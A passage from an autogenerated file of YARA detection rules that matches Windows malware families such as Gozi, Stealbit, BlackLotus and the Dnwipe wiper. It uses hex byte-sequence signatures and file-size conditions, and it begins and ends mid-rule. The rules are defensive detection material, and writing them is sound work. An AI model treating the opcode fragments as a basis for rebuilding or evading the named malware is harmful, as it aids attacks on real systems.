		$sequence_6 = { 488bcf ff15???????? 488b8c2400030000 4833cc e8???????? 488b9c2420030000 }
		$sequence_7 = { 7508 42807c120122 7427 41ffc0 48ffc2 443bc1 }
		$sequence_8 = { 33d2 48f7d1 83e903 85c9 7e1c 6690 42803c123a }
		$sequence_9 = { 0f84b8010000 488d2d15e70000 41bc14030000 4c8d0528800000 488bcd 418bd4 e8???????? }
	condition:
		7 of them and filesize < 289792
}

rule MALPEDIA_Win_Gozi_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9c925d7e-4a58-58b3-a521-9431dccc113c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gozi"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gozi_auto.yar#L1-L308"
		license_url = "N/A"
		logic_hash = "d60d7415702d07d989a84ad089c91c9c930dfc0751149612c046eb9a7bf0b686"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b4dd0 03d1 8915???????? 03d9 891d???????? a3???????? }
		$sequence_1 = { 6a00 68cee6ac00 52 50 e8???????? 898500ffffff }
		$sequence_2 = { 50 ff7508 8d8771030000 ff10 }
		$sequence_3 = { fb 5c 3c32 7e02 19c1 a6 3327 }
		$sequence_4 = { c9 50 0c73 0e 96 3b5375 60 }
		$sequence_5 = { 55 f79bfe7ca80d a7 ad b710 }
		$sequence_6 = { 6a00 e8???????? 85c0 0f8899000000 8b45a8 }
		$sequence_7 = { 8ee1 54 257c693a5c 48 fb 5c }
		$sequence_8 = { e8???????? 03f0 46 ebdc ff75fc e8???????? }
		$sequence_9 = { 6a00 6a00 6a00 8d87a2020000 ff10 }
		$sequence_10 = { 0f8459010000 50 ff7570 ff15???????? }
		$sequence_11 = { 50 8b35???????? ffd6 57 68???????? e8???????? }
		$sequence_12 = { 50 68???????? 6a00 e8???????? c745ec01000000 }
		$sequence_13 = { 8b4d18 e8???????? 8b45e0 50 }
		$sequence_14 = { 3327 72e7 3ebb4a68d947 d93e }
		$sequence_15 = { 3818 0f8453feffff 50 e8???????? 89463c ffb574ffffff }
		$sequence_16 = { e8???????? ebda 8bc3 c1f805 8d3c85e00c4400 }
		$sequence_17 = { 89950cfeffff 8b8d08feffff 0b8d0cfeffff 7431 0fc0f2 }
		$sequence_18 = { f6c5ae 69d5e21d6c7f 0fc0f2 0fce 8af4 }
		$sequence_19 = { ffb5acfeffff e8???????? 8bd8 039dacfeffff ff7510 53 }
		$sequence_20 = { dc6f1b 95 bf633629a8 02738f 1da2c9dde2 }
		$sequence_21 = { 84e5 0fce 0fbef4 69f116814003 0faceaca c0d6f6 }
		$sequence_22 = { 8b440704 8945a4 50 e8???????? 8b4648 8b7c0708 897da0 }
		$sequence_23 = { 68???????? ffb5bcfdffff ff15???????? 897dfc e8???????? 8d85c0fdffff 50 }
		$sequence_24 = { 03c7 03cf 83ff1f 0f87a4030000 ff24bd95244300 }
		$sequence_25 = { e8???????? 83f8ff 7442 8985fcfeffff 68???????? e8???????? }
		$sequence_26 = { 8ad0 4a 8ad0 84c1 }
		$sequence_27 = { 6af4 dbe9 68912b4384 2383e08985e4 0572b6e2f4 fd }
		$sequence_28 = { 128b42926614 12a502b346d1 41 b87e8da638 e022 }
		$sequence_29 = { 68???????? ff75c0 ff15???????? 834dfcff e8???????? ff7508 8d45c4 }
		$sequence_30 = { 0f848ffbffff 50 8b4658 8d443804 50 e8???????? 898574ffffff }
		$sequence_31 = { 5b 5f c9 c21400 8d87eb040000 8b00 }
	condition:
		7 of them and filesize < 568320
}

rule MALPEDIA_Win_Ironhalo_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5d173d13-7e7f-5038-a17a-f1673b379630"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ironhalo"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ironhalo_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "b28c071e016d2fd6c8035d945d059b7edc886edf229a30a1e4641350946cb806"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8a800c914000 83e00f eb02 33c0 }
		$sequence_1 = { 8bcb c1f805 83e11f 8b048560e04000 f644c80401 0f84f9000000 6a01 }
		$sequence_2 = { 6a00 56 e8???????? 56 e8???????? 8be8 83c410 }
		$sequence_3 = { ffd6 8d542410 8d442424 52 50 ffd6 8d4c2424 }
		$sequence_4 = { ffd7 8d742428 bb03000000 8d442438 }
		$sequence_5 = { 243f c0e206 0ac2 83c104 88042f 45 803c3100 }
		$sequence_6 = { 743a 0fb6d0 f68221cf400004 741a }
		$sequence_7 = { 50 ffd7 8d742428 bb03000000 8d4c2438 8d542410 }
		$sequence_8 = { 52 668954241c e8???????? 50 e8???????? 83c408 8d442410 }
		$sequence_9 = { 6a00 6a50 50 56 ff15???????? 8be8 }
	condition:
		7 of them and filesize < 131072
}

rule MALPEDIA_Win_Stealbit_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5dce69d0-a61c-561d-bb3f-783619cef52d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stealbit"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.stealbit_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "90bb65634be35c442101bb71a7db5f26606dba88a1c52cacba38d15f6d5908ea"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 66899528feffff 6689bd30feffff 66899d38feffff 6689bd3efeffff 6689bd42feffff 66894dbc 66895dc0 }
		$sequence_1 = { 0f8544010000 6a07 5b 53 8d45bc 8bd6 }
		$sequence_2 = { 8bc2 5d c20400 8bd1 8b0a e8???????? 8bc8 }
		$sequence_3 = { 8d47f1 c745f877caeb85 03c3 bf28442324 8365fc00 be4f86c861 }
		$sequence_4 = { 2ac8 8ac1 5d c20400 55 8bec }
		$sequence_5 = { 88460d 57 886e0e 884e0f 6a25 885610 e8???????? }
		$sequence_6 = { 8b450c 48 83e801 740e 83e801 750f 8b4508 }
		$sequence_7 = { 33c0 66898518ffffff 58 6a74 66898506ffffff 6689b540ffffff }
		$sequence_8 = { 8945f8 e8???????? 03c0 8bce 8bd0 e8???????? 6a0c }
		$sequence_9 = { 6a20 66899524ffffff 6689952effffff 5a 6a6e 58 6a6d }
	condition:
		7 of them and filesize < 131072
}

rule MALPEDIA_Win_Radamant_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c9054a5c-bb68-56d9-b004-7795b422035b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.radamant"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.radamant_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "c8bbb0af31c01f18c5c289ae1834ad1b53dc2920970c2b6e405a5699e0104750"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b45f0 f7d0 2345f4 09d0 0345c4 0345ec }
		$sequence_1 = { 7519 8b45c4 890424 e8???????? 8b45f4 8985f4fdffff e9???????? }
		$sequence_2 = { 8b5510 83c20e 8b45ec c1e808 8802 8b5510 83c20f }
		$sequence_3 = { 31c2 8b45e8 c1e808 0fb6c0 0fb680b0094100 }
		$sequence_4 = { 8901 8b4df4 83c128 8b55f4 83c208 8b45f4 83c024 }
		$sequence_5 = { 8d85a4fcffff ff00 8d85b8fdffff 890424 e8???????? 3985a4fcffff }
		$sequence_6 = { c7042400000000 e8???????? 83ec0c 8d85b8fdffff 890424 e8???????? 8985a4fcffff }
		$sequence_7 = { 8b45f4 8b00 c1e810 0fb6c0 8b0485e02f4100 8b1495e02b4100 31c2 }
		$sequence_8 = { 09d0 0345a8 0345f4 2d885b9528 8945f4 8d45f4 c10007 }
		$sequence_9 = { c1e818 0fb6c0 8b0485b01b4100 8b12 31c2 }
	condition:
		7 of them and filesize < 204800
}

rule MALPEDIA_Win_Tetra_Loader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "85991250-1047-5fcf-96eb-85da5fe13b43"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tetra_loader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tetra_loader_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "aeb4a8ec8acfdc787245eb94a88275106cbf235fc1e5fc83f04d972b90088a86"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 440fb74204 4181f074350000 4109c8 0f8480050000 3302 0fb74a04 81f174360000 }
		$sequence_1 = { 66f7e6 0f8010010000 89c2 6601ea 410f92c6 31c0 81fdffff0000 }
		$sequence_2 = { e8???????? 0f0b 4c8d059f8a0100 b901000000 4c89d2 e8???????? 0f0b }
		$sequence_3 = { 4531db 81f9ffff0000 7715 6666666666662e0f1f840000000000 41bc03000000 4c89f2 }
		$sequence_4 = { 7521 c6851717000000 488d8db8160000 488d154ce70200 e8???????? 488bb5c0160000 66c746023b00 }
		$sequence_5 = { 48ffc7 4c89f0 4d89fb bd00000000 4885c0 0f856bffffff ebb4 }
		$sequence_6 = { 488901 b001 f6c201 7513 488b4110 488b4820 488b4028 }
		$sequence_7 = { 483b7df0 75bc eb8d 4489e1 83e11f 450fb64701 4183e03f }
		$sequence_8 = { 4883c1fe 3d00010000 89d0 73a1 0fb64500 8845d0 0f2845e0 }
		$sequence_9 = { 488b4de8 48c744243000000000 c744242880000000 c744242003000000 ba00000080 41b801000000 4531c9 }
	condition:
		7 of them and filesize < 847872
}

rule MALPEDIA_Win_Xfsadm_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4e0da958-d7db-5cd3-9845-58c1ee1ba55b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xfsadm"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xfsadm_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "b8085f6961208dfb9003a24568de62da647e6cb5e982bfeaf61525cbc63ec421"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 740f 83f8fe 740a 6bce38 030c95f8d84200 f6412d01 7414 }
		$sequence_1 = { 8d7301 80fa78 7577 385903 }
		$sequence_2 = { 895e04 eb03 8b5e04 893c83 ff4634 }
		$sequence_3 = { 83c404 8b5d0c c7461000000000 c7461400000000 c7461800000000 8d4b01 8a03 }
		$sequence_4 = { 6a03 6808020000 ff15???????? 68???????? ff75e0 ff75dc }
		$sequence_5 = { 8b12 8b42f8 2b4afc 2bc7 0bc8 }
		$sequence_6 = { 894df0 83c104 50 e8???????? 8bf8 85ff 0f84cb000000 }
		$sequence_7 = { a3???????? 85c0 0f8475010000 68???????? ff35???????? ffd6 a3???????? }
		$sequence_8 = { 8b7b20 8b7324 6a00 ff10 8b06 8bce 53 }
		$sequence_9 = { f20f593c85604f4200 660f122c85604f4200 03c0 660f28348570534200 }
	condition:
		7 of them and filesize < 566272
}

rule MALPEDIA_Win_Blacklotus_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6d41c095-e739-5655-a8fc-e5651a304950"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blacklotus"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.blacklotus_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "69ee2c520b98a8fc48e03d945b290dd8e5b47d8c94f1557274f7c175df20640a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 884102 488d4904 4983e801 75dc 428d149dfcffffff 460fb60412 8d4201 }
		$sequence_1 = { 7507 488b4b38 c601c3 488b1b 483bdf }
		$sequence_2 = { 4883c104 e8???????? 488b4d30 0fb65103 0fb64102 48c1e208 }
		$sequence_3 = { 44884301 88430b e8???????? 4c8bc6 488bd3 408acf }
		$sequence_4 = { 2bcf ffc7 4103c9 6633544d08 8d41ff 6689544508 }
		$sequence_5 = { 408a7c3c30 428d149de0ffffff 46320412 8d4201 }
		$sequence_6 = { 4883ec30 418be8 488bfa 488bf1 488d15d41a0100 488b0d???????? }
		$sequence_7 = { 7508 4d85c0 75ea 33c0 c3 1bc0 }
		$sequence_8 = { ffc8 03c3 44888430d8070000 453bd1 72b9 8b15???????? ffca }
		$sequence_9 = { 4c8d054e140100 488bd7 488bd8 e8???????? 488b05???????? }
	condition:
		7 of them and filesize < 181248
}

rule MALPEDIA_Win_Beepservice_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c4c53131-cb7f-5347-a9b9-cf736a2ce9c3"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.beepservice"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.beepservice_auto.yar#L1-L282"
		license_url = "N/A"
		logic_hash = "689010a7eaeffaf34a3ec3394a2430b997d2d5b1ebae027e3c89a6f3e221798c"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b0d???????? 68???????? ffd6 8bc8 }
		$sequence_1 = { ffd6 8bc8 ff15???????? 50 ff15???????? }
		$sequence_2 = { 683f000f00 6a00 68???????? ff15???????? }
		$sequence_3 = { e8???????? 83f801 7505 e8???????? 68???????? 68???????? }
		$sequence_4 = { 7512 6888130000 68???????? e8???????? 83c408 }
		$sequence_5 = { 83c408 e9???????? 68???????? e8???????? 83c404 6a00 6a00 }
		$sequence_6 = { 8d85fcfdffff 56 56 6a02 56 56 }
		$sequence_7 = { 6a20 57 bf???????? 57 }
		$sequence_8 = { 68???????? e8???????? ff7608 e8???????? 83c40c }
		$sequence_9 = { ff7614 e8???????? 50 ff7614 57 e8???????? 83c42c }
		$sequence_10 = { 6a02 50 55 e8???????? ff7610 e8???????? 50 }
		$sequence_11 = { e8???????? 83c444 8d442410 6a02 }
		$sequence_12 = { 85f6 7403 56 ffd7 53 ffd7 5f }
		$sequence_13 = { b90a000000 a3???????? bf???????? a3???????? }
		$sequence_14 = { 8b5c240c 8b3d???????? 85f6 7403 }
		$sequence_15 = { 741e 45 83fd0a 7ce0 eb23 ff15???????? }
		$sequence_16 = { ffd7 8d442414 50 56 }
		$sequence_17 = { c785f8fdffff00240000 6a00 8d95f4fdffff 52 8b85f8fdffff 50 }
		$sequence_18 = { 83f81e 720a b801000000 e9???????? 8b450c 8b480c }
		$sequence_19 = { 8b85f8fdffff 50 68???????? 8b8dfcfdffff 51 ff15???????? }
		$sequence_20 = { 8b5108 52 68???????? e8???????? 83c40c 6a02 }
		$sequence_21 = { 50 e8???????? 83c404 c3 6a00 6a00 }
		$sequence_22 = { a1???????? 85c0 746b a1???????? 85c0 7562 }
		$sequence_23 = { 48 83f804 0f8795000000 ff248548144000 6888130000 6a01 6a00 }
		$sequence_24 = { 85c9 668935???????? 7e15 b299 8a9874304000 32da }
		$sequence_25 = { 83c414 e8???????? 6a00 6a00 b907000000 6a00 }
		$sequence_26 = { 57 33f6 8975d8 8975e0 8975e4 8975dc 8975fc }
		$sequence_27 = { 83c404 c3 8b0d???????? 6aff 51 }
		$sequence_28 = { 6a03 e8???????? 83c414 e9???????? a1???????? }
	condition:
		7 of them and filesize < 253952
}

rule MALPEDIA_Win_Edam_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f4028c21-33b6-5e9f-a37a-2699bc732d08"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.edam"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.edam_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "62aff47bf3ddbcb69a86cf1dabc7a43bddd2da8a74c7bd24c0bccdeef4523386"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83c8ff eb1e 8b45fc 3bd6 8b0c8560b74500 0f95c0 02c0 }
		$sequence_1 = { 50 8d45b0 8955d8 50 e8???????? 8d45b0 50 }
		$sequence_2 = { 8bc1 83e13f c1f806 6bc930 8b048560b74500 f644082801 7406 }
		$sequence_3 = { 40 c745ec603c4200 894df8 8945fc 64a100000000 8945e8 }
		$sequence_4 = { 8bd1 8b42e8 8d72e8 8b4004 c74410e818654400 8b06 8b4804 }
		$sequence_5 = { 50 6a01 8d4dd4 e8???????? 68???????? 8d45d4 c745d4c0634400 }
		$sequence_6 = { 8b45f0 894df4 8b048560b74500 c644022a0a 0f8484000000 }
		$sequence_7 = { 8d8d08fdffff c785b4fdffff0f000000 c785b0fdffff00000000 c685a0fdffff00 e8???????? 8b859cfdffff }
		$sequence_8 = { 6a55 ff34f5788a4400 ff7508 e8???????? 83c40c 85c0 }
		$sequence_9 = { 3bc6 7353 807d8600 8a88a87c4400 8b857cffffff 8808 }
	condition:
		7 of them and filesize < 807936
}

rule MALPEDIA_Win_Sathurbot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "40f6d317-e340-5c28-bf05-1e34ed3b7c05"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sathurbot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sathurbot_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "73420e104486f36b90bb2733cf04075c1d18a3e103b83a2dc2d22ad64ff4f0ae"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { f6c101 0f94c0 813d????????0a000000 0f9cc1 08c1 b84b7e8b0c 0f45c3 }
		$sequence_1 = { f6c101 0f94c0 813d????????0a000000 0f9cc1 08c1 bfcc456d5f b8dd72d480 }
		$sequence_2 = { e9???????? 81fe44b0cddc 7f16 81fe7313fbac 0f850dffffff be80c3aea4 e9???????? }
		$sequence_3 = { f6c101 0f94c0 813d????????0a000000 0f9cc1 08c1 b8d1e835c1 b93dd672c9 }
		$sequence_4 = { ebd8 81fa06cfb547 7f27 81fab0570bce 7f30 81fabe1990c9 75c2 }
		$sequence_5 = { ebfe 55 89e5 53 56 83ec02 a1???????? }
		$sequence_6 = { eb3e 897c2408 8b450c 89442404 893424 e8???????? 8945f0 }
		$sequence_7 = { f6c101 0f94c0 813d????????0a000000 0f9cc1 08c1 b8aebf6a24 0f45c3 }
		$sequence_8 = { e9???????? c744240400000000 c7042401000000 89f1 e8???????? 83ec08 8b442454 }
		$sequence_9 = { f6c101 0f94c0 813d????????0a000000 0f9cc1 08c1 b86e66c620 b9a93409fe }
	condition:
		7 of them and filesize < 2727936
}

rule MALPEDIA_Win_Minibike_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b4e41190-0fa0-5a7c-a07b-bb3addd5d6da"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.minibike"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.minibike_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "d63c47c9b294af645af17048597f95704ec7db4dff6a776da81f783cf994a29a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a00 0f434520 6800008004 6a00 6a00 6a00 51 }
		$sequence_1 = { 2bc2 3bc8 0f8758010000 8d040a 8bce 3bc6 0f43c8 }
		$sequence_2 = { 75bd 8b5508 8b451c 83f810 7227 8d4801 8bc2 }
		$sequence_3 = { 8975b4 a801 742b e8???????? 6a00 c7461000000000 8bce }
		$sequence_4 = { 8985b4fdffff 51 0f57c0 c785ecfdffff00000000 8d8588fdffff 660fd685e4fdffff 0f2805???????? }
		$sequence_5 = { 2bc6 8bbda4feffff c1f802 898decfcffff 8985f8fcffff 85c0 7441 }
		$sequence_6 = { 8b85c8fdffff 33c9 8bb5c4fdffff 2bc6 8bbdd0fdffff c1f802 898df4fcffff }
		$sequence_7 = { c7431000000000 c7431407000000 85c0 7568 50 68???????? 8bcb }
		$sequence_8 = { eb06 8b95acfcffff 83fa08 7235 8b8d98fcffff 8d145502000000 8bc1 }
		$sequence_9 = { 83f81f 0f87e5020000 51 56 e8???????? 83c408 c745b800000000 }
	condition:
		7 of them and filesize < 574464
}

rule MALPEDIA_Win_Dnwipe_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1dfcf0b7-155d-5531-9418-b3b6f7b47f6c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dnwipe"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dnwipe_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "a0d87818c953765cbf35eb3a0b4d4fff142998a549a84312b85c4d079e960955"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 1306 16 1307 2b22 1106 }
		$sequence_1 = { 00 2b37 00 7e01000004 281c00000a 720f000070 }
		$sequence_2 = { 00 00 2b37 00 }
		$sequence_3 = { 58 0d 09 07 8e 69 fe04 }
		$sequence_4 = { 281b00000a 00 00 00 de04 }
		$sequence_5 = { 110c 9a 6f2400000a 7285000070 6f2900000a 3a01010000 110a }
		$sequence_6 = { 00 2b09 00 17 }
		$sequence_7 = { 09 1304 16 1305 2b74 }
		$sequence_8 = { 8e 69 3284 00 de05 26 }
		$sequence_9 = { 09 9a 732200000a 1304 07 09 9a }
	condition:
		7 of them and filesize < 50176
}

rule MALPEDIA_Win_Avzhan_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "84066c6e-b6ba-5768-970d-dec408a0e7ed"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.avzhan"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.avzhan_auto.yar#L1-L111"
		license_url = "N/A"
		logic_hash = "a735be6148b9160f001fa1a5adca0dca85c778e318efdbf988b4428d95a16bfa"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { eb1d 6a02 e8???????? 83c008 }
		$sequence_1 = { 51 8d8c2404020000 51 56 }
		$sequence_2 = { e8???????? 83c003 33d2 0fafc6 f7742408 }
		$sequence_3 = { c744243844000000 f3ab 8b442464 8b3d???????? }
		$sequence_4 = { ffd7 6a00 8b542414 52 ffd3 6a0a ffd7 }
		$sequence_5 = { 8d8c2418020000 6a00 51 6a00 ffd5 85c0 }
		$sequence_6 = { 49 50 8bd9 e8???????? }
		$sequence_7 = { 6a14 ff15???????? 833d????????01 75d2 }
		$sequence_8 = { e8???????? 8bf0 6a64 81c600040000 e8???????? }
		$sequence_9 = { 83c418 3935???????? 7450 8b942464010000 }
	condition:
		7 of them and filesize < 122880
}

rule MALPEDIA_Win_Woolger_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "69dafade-30c5-5734-830c-150b438e6d59"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.woolger"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.woolger_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "a68ced9b21a66c947cc315eb8f76a9ad3604356e88ce1c4ffa9af9c48a2ada10"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
